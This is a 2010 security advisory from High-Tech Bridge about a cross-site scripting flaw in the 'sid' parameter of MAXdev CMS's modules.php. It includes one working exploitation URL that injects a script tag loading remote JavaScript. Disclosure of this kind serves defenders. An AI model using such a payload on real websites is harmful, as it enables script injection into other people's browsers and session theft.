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Cross-site Scripting (XSS) Vulnerability in MAXdev

Advisory ID:HTB22563
Vulnerable Versions:1.0.83 and probably prior
Tested Version:1.0.83
Advisory Publication:August 5, 2010 [without technical details]
Vendor Notification:August 5, 2010
Public Disclosure:August 19, 2010
Latest Update:August 6, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in MAXdev which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in MAXdev
The vulnerability exists due to input sanitation error in the "sid" parameter in modules.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/modules.php?op=modload&name=News&file=article&sid=1%22%3E%3Cscript+s rc=https://www.htbridge.com/advisory/1.js+a=

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[1] High-Tech Bridge Advisory HTB22563 - https://www.htbridge.com/advisory/HTB22563 - Cross-site Scripting (XSS) Vulnerability in MAXdev
[2] MAXdev - www.maxdev.it – MAXdev is a powerful content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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